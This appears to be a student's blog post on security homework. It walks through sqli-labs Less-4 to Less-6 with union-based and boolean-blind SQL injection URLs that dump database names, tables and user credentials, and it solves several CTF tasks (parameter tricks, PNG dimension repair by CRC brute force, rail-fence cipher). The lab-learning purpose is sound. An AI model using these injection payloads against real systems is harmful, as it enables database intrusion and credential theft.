我的网安作业2/7

一、sqli-labs

less4:

打开less4的index.php文件,在SQL语句下添加如下两句:

echo $sql;
echo "<br>";

1.判断是否存在注入:

http://127.0.0.1/sqli/Less-4/?id=1
http://127.0.0.1/sqli/Less-4/?id=1'显式正确
http://127.0.0.1/sqli/Less-4/?id=1"显式不正确

得到报错信息:
我的网安作业2/7
根据报错信息构造正确的SQL语句:

http://127.0.0.1/sqli/Less-4/?id=1")--+

2.查看列数:

http://127.0.0.1/sqli/Less-4/?id=1") order by 3--+显示正常
http://127.0.0.1/sqli/Less-4/?id=1") order by 4--+显示不正常

得到列数为3
3.判断回显位置:

http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,3--+

我的网安作业2/7

4.查看所有数据库:

http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(schema_name)from information_schema.schemata--+

我的网安作业2/7

5.查看security数据库的所有表:

http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479--+

我的网安作业2/7

6.查看users表所有的列信息:

http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x7573657273--+

我的网安作业2/7

7.得到所有的用户信息:

http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(concat_ws(0x7e,username,password))from security.users--+

我的网安作业2/7

Less5:

1.判断是否存在SQL注入:

http://127.0.0.1/sqli/Less-5/?id=1

我的网安作业2/7

http://127.0.0.1/sqli/Less-5/?id=1'

我的网安作业2/7

http://127.0.0.1/sqli/Less-5/?id=-1

我的网安作业2/7

存在布尔盲注
2.判断列数

http://127.0.0.1/sqli/Less-5/?id=1' order by 3--+

我的网安作业2/7

http://127.0.0.1/sqli/Less-5/?id=1' order by 4--+

我的网安作业2/7

确定列数为3.
3.开始手动爆破数据库名的第一个字符:

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))>122--+没有显示
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))>97--+显示成功

我的网安作业2/7

判断数据库第一个字符的ascii码值在97~122之间,利用折半查找法确定第一位字符:

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))>100--+显示成功
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))>110--+显示成功
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))>120--+没有显示
ascii码值在110~120之间
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))=114--+没有显示

我的网安作业2/7

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))=115--+显示成功

我的网安作业2/7

则数据库的第一个字符为s.
2.使用burpsuite进行剩余的爆库处理:

http://127.0.0.1/sqli/Less-5/?id=1' and substr((select database()),1,1)='s'--+
http://127.0.0.1/sqli/Less-5/?id=1' and substr((select database()),2,1)='s'--+

我的网安作业2/7
我的网安作业2/7

得到第二位字符为e,于是爆破第三个字符,

我的网安作业2/7
我的网安作业2/7

依次类推可以得到数据库为security.

Less6:

与第五关类似。
1.判断是否存在SQL注入:

http://127.0.0.1/sqli/Less-6/?id=1
http://127.0.0.1/sqli/Less-6/?id=1"

我的网安作业2/7

存在SQL盲注。
2.手动爆破数据库:

http://127.0.0.1/sqli/Less-6/?id=1" and ascii(substr((select database()),1,1))>97--+

我的网安作业2/7

http://127.0.0.1/sqli/Less-6/?id=1" and ascii(substr((select database()),1,1))>120--+

我的网安作业2/7

所以数据库的第一个字符ascii码在97~120之间。
之后的操作同less5.

也可以通过:

http://127.0.0.1/sqli/Less-6/?id=1" and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>97--+

再通过二分法猜解得到所有的库,表,字段和用户信息。

二、CTF

1.Web

我的网安作业2/7

解决:观察网页信息发现如果参数what=flag,就可以输出flag
因此构造Url传参,获取flag

http://114.67.246.176:15366/?what=flag

我的网安作业2/7

我的网安作业2/7

2.Web

我的网安作业2/7

观察网站信息:
我的网安作业2/7

需要构造post请求,可以直接利用火狐浏览器的Hackbar插件,在post提交数据 what=flag
我的网安作业2/7我的网安作业2/7

3.Misc

我的网安作业2/7

下载文件,似乎不能用软件打开:
我的网安作业2/7

猜测是图片宽高的问题,于是用winHex打开下载的图片,观察数据:
我的网安作业2/7

用python脚本爆破图片原本的宽高:

import os 
import binascii 
import struct
misc = open("F:/大三上文件/信息安全相关软件/CTF/2.png","rb").read()

#爆破宽
for i in range(1024): 
    data = misc[12:16] + struct.pack('>i',i)+ misc[20:29]#IHDR数据
    crc32 = binascii.crc32(data) & 0xffffffff
    #print(crc32)
    if crc32 == 0xcbd6df8a:#IHDR块的crc32值
        print ("宽应为:",i)
        print("hex:"+hex(i))
# 爆破高		
for i in range(1024): 
    data = misc[12:20] + struct.pack('>i',i)+ misc[24:29]
    crc32 = binascii.crc32(data) & 0xffffffff
    #print(crc32)
    if crc32 == 0xcbd6df8a: 
        print ("高应为:",i)
        print("hex:"+hex(i))

运行结果如下:
我的网安作业2/7

修改图片高为0x1f4:
又是因为软件原因,修改数据后我的winHEX不能保存,于是我换成了HXD,修改图片高为0x1f4。
我的网安作业2/7

再次观察2.png图片,得到flag。
我的网安作业2/7我的网安作业2/7

4.Crypto

我的网安作业2/7

所谓栅栏密码,就是把要加密的明文分成N个一组,然后把每组的第1个字连起来,形成一段无规律的话。 不过栅栏密码本身有一个潜规则,就是组成栅栏的字母一般不会太多。(一般不超过30个,也就是一、两句话)
分析题目:翻过了2个栅栏,说明是把fa{fe13f590lg6d46d0d0}分成2个组,于是得到:
fa{fe13f590
lg6d46d0d0}
把这两组的第一个字符连起来便得到加密后的栅栏密码:
flag{6fde4163df05d900}
我的网安作业2/7
总结:又是装环境装到自我怀疑的一周,不过还好需要的软件最后都安装上了,其实很多题也都是看评论区大佬的发言,然后跟着一步一步做的,有些题仍然不懂为什么那么做,不过还是感谢大神们,希望未来自己也能看一眼题就能知道解题方法,并且明白为什么要那么做。再接再厉。

上一篇:读书笔记--第二章


下一篇:sqli-union注入